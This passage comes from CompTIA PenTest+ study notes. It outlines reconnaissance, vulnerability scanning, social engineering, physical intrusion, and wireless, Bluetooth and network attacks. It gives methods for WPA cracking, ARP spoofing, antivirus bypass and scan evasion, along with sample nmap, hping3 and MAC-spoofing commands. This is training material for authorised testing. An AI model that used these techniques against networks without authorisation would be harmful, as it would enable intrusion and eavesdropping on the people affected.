Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
● Website Reconnaissance
o To conduct website reconnaissance, determine the:
▪ Software
▪ Operating system
▪ Hosting
▪ Resources
▪ Hidden information
o Website Build
▪ Programmers
▪ Content Management System (CMS)
▪ Page builder
o Find every page that exists on the website, because any page can hold a
vulnerability
▪ Prevention
● robots.txt
o Used to tell the web crawlers which directories and paths
are allowed to be crawled and which should be ignored
o Also enable directory permissions in addition to using
robots.txt file
▪ DirBuster
● A free tool by OWASP that can conduct brute-force web crawling
by trying all various combinations of directories and file name to
find hidden data
- 45 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪ Load balancers can throw off scan results with increased false positives or
false negatives
o Firewall
▪ A type of network security device that monitors and filters incoming and
outgoing network traffic
▪ Traceroute
● Detects if an organization uses firewall
- 46 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪ Firewalk
● An active reconnaissance tool that tries to determine what layer 4
protocols a given firewall will actually pass past it
● Lets you move through the firewall and identify the rule sets
▪ Key Indicators
● Personalized cookies in HTTP packets
● Header alterations
● WAF notifications
o Antivirus
▪ A specific type of software that is used to prevent, scan, detect, and
delete viruses or malware
▪ Bypass Methods
● Metamorphic virus
● Signature obfuscation
● Fileless malware
● Encryption
● Packet Crafting
o Packet Crafting
▪ A technique that allows for the generation of a network packet with the
specific data content described by an attacker or penetration tester
▪ Use Cases
● Setting up unusual TCP flags to see firewall response
● Fragmenting packets
- 47 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪ Methods
● Command line (Hping)
● GUI
● Script (Scapy)
▪ Common Tools
● Hping
o An open-source spoofing tool that provides a pen tester
with the ability to craft network packets to exploit
vulnerable firewalls and IDS/IPS
o Timestamping
▪ Used to determine the system’s uptime
▪ # hping3 –c2 –S p80 --tcp-timestamp 192.168.1.1
● Send 2 SYN packets to port 80 to determine
uptime
o Traceroute
▪ Uses arbitrary packet formats, such as probing DNS
ports using TCP or UDP, to perform traces when
ICMP is blocked on a given network
- 48 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Fragmentation
▪ Attempts to evade detection by IDS/IPS and
firewalls by sending fragmented packets across the
network for later reassembly
● Scapy
o A powerful, interactive packet manipulation tool, packet
generator, network scanner, network discovery, packet
sniffer, and more in one script
o Scapy
▪ Runs on Python 2
o Scapy 3
▪ Runs on Python 3
● Eavesdropping
o Eavesdropping
▪ The act of secretly or stealthily listening to a private conversation or
communications of others without their consent in order to gather
information
▪ Methods
● Non-Technical
o Social engineering
● Technical
o Technology
▪ Check if eavesdropping is within the scope and agreed upon for the
assessment
- 49 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Packet Sniffing
▪ Involves capturing all the data packets that were sent over the targeted
network
▪ Tools
● Wireshark
o Contains a graphical user interface and can be used to
capture packets, analyze those packets, and identify the
desired information if it was unencrypted when sent
● TCPDump
● Protocol Analyzer
o A specialized type of software that collects raw packets
from the network
o Network defenders should always utilize encryption
techniques to protect the data in transit
o Protocol analyzers can help prove or disprove statements
made by administrators
o Flow Analysis
▪ Identifies which resources and servers are communicating with which
type of devices or locations
▪ Highlights trends and patterns in the network traffic
▪ Flow analysis focuses on metadata, while protocol analyzers can look into
the packets and see the data they contain
- 50 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
● Wardriving
o Wardriving
▪ Driving around near a facility to detect if there are any wireless networks
you can exploit
o Warwalking
▪ Walking around near a facility to detect if there are any wireless
networks you can exploit
o Target Data
▪ Open wireless access points
▪ Device configurations
● Guest network
● Business network
o Wigle.net
▪ Maps and indexes all open access points that have been found
o Antenna
▪ Decibels Per Isotropic (dBi)
● Measures the strength of an antenna in terms of how good it can
listen and collect information
▪ Classification
● Unidirectional
o Focuses power in one direction for covering greater
distances
● Bidirectional (Dipole)
o Radiates power equally in two directions
● Omnidirectional
o Radiates power equally in all directions
- 51 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
- 52 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
Vulnerability Scanning
● Vulnerability Scanning
o Vulnerability Scanning
▪ The process of assessing a computer, server, network, or application for
known weaknesses
● System weaknesses
● Report
● Recommendations
● Vulnerability Lifecycle
o Vulnerability
▪ Any weakness in a system that can be exploited by a threat actor to gain
unauthorized access to a computer system
o Attack Surface
▪ Client
▪ Server
▪ Network device
- 53 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o As a penetration tester, you’re constantly looking for new ways to break into
systems
▪ There’s 5 to 10 percent of systems with missing patches
● Vulnerability Scans
o Vulnerability Scanning
▪ A specialized type of automated scan for hosts, systems, and networks to
determine the vulnerabilities that exist on a given system
- 54 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪ Non-Credentialed Scan
● Conducted when the vulnerability scanner does not have valid
user or admin login credentials
o Scanning Types
▪ Discovery Scan
● The least intrusive type of scan and can be as simple as
conducting a ping sweep
▪ Full Scan
● A full scan gets easily detected by network defenders and
cybersecurity analysts
▪ Stealth Scan
● Conducted by sending a SYN packet and then analyzing the
response
SYN
SYN/ACK
RST
● Evading Detection
o Slow down scans
o Break into individual scans
o Mask true source
▪ Compliance Scan
● Used to identify vulnerabilities that may affect compliance with
regulations or policies
● Example: PCI-DSS scan
- 55 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
● Tools
o Nmap
▪ A great tool for mapping out the network, finding
open ports, running services, and the basic
versioning of each service
o Nessus
▪ Used to scanning the target network and then
create a report of the vulnerabilities, missing
patches, and misconfigurations that exist
o Nexpose
▪ A vulnerability scanner made by Rapid7
o QualysGuard
▪ Another commercially available vulnerability
scanner
o OpenVAS
▪ An open-source vulnerability scanne
o Nikto
▪ Can assess custom web applications that a
company may have coded themselves
● Scanning Considerations
o Time
▪ Not all scans will take the same amount of time
o Protocols
▪ Each protocol scanned will take time and resources
- 56 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Network Topology
o Bandwidth Limitations
▪ The location of the scan depends on your engagement goals and the type
of asset you are scanning
o Query Throttling
▪ Reduces the number of queries launched by the scanner at a given time
o Fragile Systems
▪ Determine any fragile or non-traditional systems that could be affected
by vulnerability scanning activities
Nmap
- 57 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
● Nmap
o Domain 2: Information Gathering and Vulnerability Scanning
▪ Objective 2.3
● Given a scenario, analyze the results of a reconnaissance exercise
▪ Objective 2.4
● Given a scenario, perform vulnerability scanning
o Basic Syntax
▪ # nmap 192.168.1.0/24
o Nmap Switches
▪ There are many types of scanning options that you can utilize by entering
different nmap switches
● List Scan (-sL)
o Lists the IP addresses from the supplied target range(s)
and performs a reverse-DNS query to discover any host
names associated with those IPs
- 58 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o The results of a discovery scan should be a list of IP addresses and whether they
responded to the probes
o Nmap Output
▪ Interactive (default) to screen
▪ Normal (-oN) to file
▪ XML (-oX) to file
▪ Grepable (-oG) to file
▪ XML or grepable output can be integrating with most SIEM products
o Service Discovery
▪ Determine which network services and operating systems are in use by a
target
▪ Service discovery can take minutes to hours to complete
o Warning
- 59 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o These techniques can be more or less stealthy, as well as combined with the
options covered in the discovery scan lesson
o Port States
▪ Open
● An application on the host is accepting connections
▪ Closed
- 60 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪ Filtered
● Nmap cannot probe the port, usually due to a firewall blocking
the scans on the network or host
o Other Port States (displayed if the scan cannot determine a reliable result)
▪ Unfiltered
● Nmap can probe the port but cannot determine if it is open or
closed
▪ Open|Filtered
● Nmap cannot determine if the port is open or filtered when
conducting a UDP or IP protocol scan
▪ Closed|Filtered
● Nmap cannot determine if the port is closed or filtered when
conducting a TCP Idle scan
o Port states are important to understand because an open port indicates a host
that might be vulnerable to an inbound connection
● Nmap Fingerprinting
o Fingerprinting
▪ A technique to get a list of resources on the network, host, or system as a
whole to identify potential targets for further attack
o Once open ports are discovered, use Nmap to probe them intensely
▪ # nmap –sV 192.168.1.1
▪ # nmap –A 192.168.1.1
- 61 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪ Device type
o How does Nmap fingerprint what services and versions are running?
▪ Common Platform Enumeration (CPE)
● Scheme for identifying hardware devices, operating systems, and
applications developed by MITRE
● Using Nmap
- 62 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
● Methods of Influence
o Authority
▪ People are more willing to comply with a request when they think it is
coming from someone in authority
▪ Use of recognizable brand names like a bank or PayPal could be
considered a form of authority
● CEO or manager
● Important client
● Government agency
● Financial institution
o Urgency
▪ People are usually in a rush these days and urgency takes advantage of
this fact
▪ Approaching deadline, time-based
o Social proof
▪ People are more likely to click on a link through social media or based on
seeing others have already clicked on it
▪ Use social proof to make people crave to be part of a social group,
experience, or interaction
o Scarcity
▪ Technique that relies on the fear of missing out on a good deal that is
only offered in limited quantities or a limited time
- 63 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Likeness/Likeability
▪ A technique where the social engineer attempts to find common ground
and shared interests with their target
▪ Social engineers are some of the most likeable people you will meet
o Fear
▪ The use of threats or demands to intimidate someone into helping you in
the attack
o Example
▪ Click on this email right now because we only have three things left.
These will only be on sale for the next 30 minutes.
We have 100 people who already bought.
● Social Engineering
o Social Engineering
▪ Any attempt to manipulate users to reveal confidential information or
perform actions detrimental to a system’s security
▪ End users and employees are the weakest link in an organization’s
security
o Phishing
▪ A social engineering attack where the malicious actor communicates with
the victim from a supposedly reputable source to lure the victim into
divulging sensitive information
o Spearphishing
▪ Uses the same technology and techniques but is a more targeted version
of phishing
▪ During a penetration test, you are most likely to conduct spearphishing
and not phishing
o Whaling
▪ Focused on key executives within an organization or other key leaders,
executives, and managers in the company
- 64 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
● Busy executives
● Better targeted
● Older and technically challenged executives
o Smishing
▪ Occurs when the message is being communicated to the target thru text
messaging
o Vishing
▪ Occurs when the message is being communicated to the target using the
voice functions of a telephone
o Pharming
▪ Tricks users into divulging private information by redirecting a victim to a
website controlled by the attacker or penetration tester
● Baiting Victims
o USB Drop Key
▪ It is human nature to be nice or to be curious
▪ Rubber Ducky
● A specialized type of software that is installed on a USB drive and
runs different commands once plugged in
- 65 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Typosquatting/URL Hijacking
▪ A social engineering attack that deliberately uses misspelled domains for
malicious purposes and is often used in combination with a watering hole
attack
● Impersonation
o Impersonation
▪ The act of pretending to be someone else in order to gain access or
gather information
▪ The goal is to use people’s trust on a person in authority and people in
uniform
o Elicitation
▪ The ability to draw, bring forth, evoke, or induce information from a
victim
● Physical Security
o Physical security is just as important in keeping attackers out of a given network
o Main Areas
▪ Perimeter
- 66 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪ Building
▪ Room or datacenter
▪ Wireless
● Subject to interference with other wireless systems and
frequencies
● Many wireless security systems operate in the unregulated 2.4
GHz wireless spectrum
▪ Indoor/Outdoor
▪ Infrared
● Can produce an image based on the relative heat levels in view
▪ Ultrasonic System
● A type of surveillance system that uses sound-based detection
o You need to get past the perimeter defenses and get into the building
o Locking Mechanisms
▪ Physical key
▪ PIN
▪ Wireless signal
▪ Biometrics
- 67 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪ Bypass Methods
● Tailgating
● Piggybacking
● Badge cloning
o Biometrics
▪ Rely on physical characteristics to identify a person properly
● Something you know
● Something you have
● Something you are
● Something you do
● Somewhere you are
● Physical Attacks
o Tailgating
▪ Entering a secure portion of the organization’s building by following an
authorized person into the area without their knowledge or consent
▪ Identify the habits of the employees as they are using the doors and the
way the doors themselves function
o Piggybacking
▪ Occurs when an attacker attempts to enter a restricted area or get past
an access control vestibule by following an authorized employee with
their knowledge or consent
● Influence
● Impersonation
- 68 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
● Elicitation
▪ Piggybacking works well in large organizations where all the employees
don’t know each other
o Shoulder Surfing
▪ Occurs when an attacker attempts to observe a target’s behavior without
them noticing
o Eavesdropping
▪ Listening to conversations and performing direct observation through
hearing
o Dumpster Diving
▪ Occurs when an attacker searches inside trash or recycling containers for
personal, sensitive, or confidential information or other items of value
o Badge Cloning
▪ The act of copying authentication data from an authorized user’s badge
▪ The easiest badges to clone are badges with RFID and NFC tags
embedded in them
▪ Newer RFID badges use higher frequencies that provide higher data rates
and can support encryption
▪ For NFC-based badges, a penetration tester needs to be extremely close
to the badge they want to clone, usually within just a few inches
- 69 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Call Spoofing
▪ Hide identity
▪ Conduct impersonation attack
▪ Use the modern and up-to-date version of call spoofing programs for
your penetration tests
- 70 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
Wireless Attacks
● Wireless Attacks
o Domain 3: Attacks and Exploits
▪ Objective 3.2
● Given a scenario, research attack vectors and perform wireless
attacks
o Wireless networks are inherently less secure than a wired network
● Wireless Security
o Pre-Shared Key
▪ Used when the access point and the client need to use the same
encryption key to encrypt and decrypt the data
▪ Types
● WPA3 Enterprise
- 71 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
● Process
o AP and the client use a public key system to generate a
pair of long-term keys
o AP and the client exchange a one-time use session key
o AP sends client messages and encrypts them using the
created session key
o Client decrypts received messages using the same one-
time use session key
o Process repeats for each message being sent, starting at
Step 2 to ensure forward secrecy
- 72 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o MAC Filtering
▪ Defines a list of devices and only allows those on your Wi-Fi network
● Signal Exploitation
o Aims to collect, manipulate, and exploit the wireless radio waves and signals that
are passing freely throughout a given location
o Types of Antennas
▪ Omnidirectional
● Radiates power equally in all directions
● Omnidirectional is the least secure method of transmission
● An omnidirectional antenna is what is connected by default to
your laptop’s Wi-Fi card
- 73 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
● Promiscuous Mode
o A type of computer networking operational mode in which
all network data packets can be accessed and viewed by all
network adapters operating in this mode
● Useful information
o Network client MAC addresses
o Type of encryption used
o Network client devices
▪ Deauthentication
● Used to boot a victim wireless client off an access point so that it
is forced to reauthenticate
● Deauthentication attacks are mostly used in conjunction with
other attacks
● Aireplay-ng
o The most commonly used tool for conducting a
deauthentication attack
▪ Jamming
● Disrupts a Wi-Fi signal by broadcasting on the same frequency as
the target access point to block signals that a wireless transceiver
attempts to send or receive
● Check the scope and the legal restrictions in your location before
conducting jamming as part of an engagement
● Wi-Fi Jammer
o A Python script capable of disrupting signals of all wireless
access points in an area
● WEP Hacking
o WEP is extremely insecure due to its use of a 24-bit initialization vector (IV)
o Method
▪ Monitor the area to determine which access points and clients are in use
▪ Capture all the network traffic into a PCAP file to crack it offline later
- 74 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Airomon-NG
▪ Used to monitor wireless frequencies to identify access points and clients
o Airodump-NG
▪ Used to capture network traffic and save it to a PCAP file
● WPA/WPA2 Hacking
o Method
▪ Place the wireless network adapter into monitor or promiscuous mode
▪ Discover the WPA/WPA2 enabled networks in range
▪ Capture the network traffic and write it to a PCAP file
▪ Conduct a deauthentication attack to generate handshakes to capture
▪ Conduct a dictionary attack to identify the plain text version of the pre-
shared key
o Airomon-NG
▪ Used to place the network adapter into monitor or promiscuous mode
o Airodump-NG
▪ Used to identify clients and access points, capture network traffic, and
save it to a PCAP file
o Aireplay-NG
▪ Used to conduct a deauthentication attack by sending spoofed deauth
requests to the access point
o Airocrack-NG
▪ Used to conduct protocol and password cracking of wireless encryption
- 75 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o WPS uses an 8-digit PIN with the 8th digit reserved as a checksum
● Evil Twins
o Evil Twin
▪ A fraudulent Wi-Fi access point that appears to be legitimate but is set up
to eavesdrop on wireless communications
o Karma Attack
▪ Exploits the behavior of Wi-Fi devices due to a lack of access point
authentication protocols being implemented
- 76 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Captive Portal
▪ A web page that the user of a public-access network is obliged to view
and interact with before access is granted
o Tools
▪ ESPortalV2
● A piece of software for setting up a captive portal and redirecting
all Wi-Fi devices that connect to that portal for authentication
▪ Wifiphisher
● Sets up a regular evil twin without a captive portal
▪ Wi-Fi Pineapple
● A device that can be used to automate Wi-Fi auditing with
different types of campaigns and even created vulnerability
reports at the conclusion of your engagement
o Relay Attack
▪ Captures, modifies, and sends data
- 77 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
- 78 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
● Bluetooth Attacks
o Bluejacking
▪ Sending unsolicited messages to a Bluetooth device
▪ No special tools or software is required to conduct bluejacking
▪ Sending information
o Bluesnarfing
▪ Making unauthorized access to a device via Bluetooth connection
▪ Aims to read sensitive data or information from a victim device
▪ Stealing and receiving information
o BlueBorne
▪ Allows the attacker to gain complete control over a device without even
being connected to the target device
o The Bluetooth protocol uses frequency hopping to prevent attackers from easily
capturing data being sent and received
o The password or PIN used to pair devices is only sent once during the initial
pairing
▪ HCITOOL
● Scans and discovers devices in range
▪ BLEAH
● Enumerates Bluetooth devices
▪ GATTTOOL/BETTERCAP/BLUEPY
- 79 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Spooftooph
▪ Automates the spoofing or cloning of a Bluetooth device’s name, class,
and address
- 80 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
Network Attacks
● Network Attacks
o Domain 3: Attacks and Exploits
▪ Objective 3.1
● Given a scenario, research attack vectors and perform network
attacks
o Most of the data we touch daily transits the network
● Stress Testing
o Stress Testing
▪ A software testing method that evaluates how software performs under
extreme load
● Processor load
● Memory load
● Network load
● Storage load
▪ Stress testing shows a server’s limits and architectural support
▪ Methods
● Python or PowerShell scripts
● Open-source software tools
● Software-as-a-Service solutions
o Packet/Broadcast/Network Storm
▪ Any large increase in network traffic directed at a target
▪ Random data sequence
▪ Character Generator Protocol
● Used in the in testing, debugging, and measuring of the network
and operates over either TCP or UDP on port 19
● Exploit Resources
o Exploit Database - exploit-db.com
▪ A complete collection of public exploits and vulnerable software kept in a
fully searchable database
- 81 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Exploit Chaining
▪ Combines multiple exploits to form a larger attack
▪ Chained exploits can be run simultaneously or sequentially
● ARP Poisoning
o Address Resolution Protocol (ARP)
▪ Occurs automatically on a given local area network to identify which
workstation is currently assigned a particular IP address at any given time
o ARP Spoofing
▪ Sending falsified ARP messages over a local area network to get the ARP
caches to dynamically update with new information
▪ ARP spoofing attack can be used as a precursor to other attacks
▪ Prevention
● Prevent ARP poisoning by setting up good VLAN segmentation
and DHCP snooping
▪ Method
● Identify the MAC address and IP address using Wireshark or Nmap
o nmap -PR -sn <target>
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Method
▪ nmap -sU -p 53 --script=dns-recursion <IP>
● Checks if a server uses recursion
o How It Works
▪ Poisoning DNS cache
▪ Hijacking local DNS server
▪ Performing unauthorized zone transfer
o Prevention
▪ Use DNSSEC
● DNS Security Extensions (DNSSEC)
o Uses digital signatures based on public-key cryptography
to ensure DNS data is digitally signed by the owner
o The zone owner and the resolvers need to configure their
DNS servers to support DNSSEC
- 83 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o DNS Harvesting
▪ A form of Open-Source Intelligence used to gather information about a
domain name and its associated resources
● LLMNR/NBT-NS Poisoning
o Link-Local Multicast Name Resolution (LLMNR)
▪ Based on the DNS packet formatting and allows both IPv4 and IPv6 hosts
to perform name resolution on the host if they are on the same local link
o By default, Windows machines will first attempt to use LLMNR and then attempt
to use NBT-NS
o Responder
▪ A command-line tool in Kali Linux that is used to poison NetBIOS, LLMNR,
and mDNS name resolution requests
- 84 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
● MAC Spoofing
o Spoofing
▪ A category of network attacks that occurs when an attacker masquerades
as another person by falsifying their identity
▪ MAC Filtering
● Allow List
o Allowed to connect
● Block List
o Not allowed to connect
o To overcome this, simply change MAC address to another
value
▪ sudo ifconfig en0 ether <MAC address>
▪ macchanger -m <MAC Address> <interface>
● VLAN Hopping
o Virtual Local Area Network (VLAN)
▪ Used to partition any broadcast domain and isolate it from the rest of the
network at the data link layer or layer 2 of the OSI model
▪ Once you gain access to a workstation located in one VLAN, you must
break out of that VLAN to gain access to other sensitive areas of the
network
- 85 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o VLAN Hopping
▪ A technique exploiting a misconfiguration to direct traffic to a different
VLAN without proper authorization
o Double Tagging
▪ Attacker tries to reach a different VLAN using the vulnerabilities in the
trunk port configuration
● Inner Tag
o True destination set by the attacker
● Outer Tag
o Native VLAN
● Blind Attack
o One where commands are sent to the victim, but the
attacker doesn't get to see any of the responses
▪ Prevention
● Change default configuration of native VLAN
● Never add user devices into the native VLAN
- 86 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Switch Spoofing
▪ Attacker attempts to conduct a Dynamic Trunking Protocol (DTP)
negotiation
▪ Prevention
● Always configure switch ports to have dynamic switch port modes
disabled by default
● Switch
o Selectively transmits frames
● Hub
o Repeats every frame it receives
● NAC Bypass
o Network Access Control (NAC)
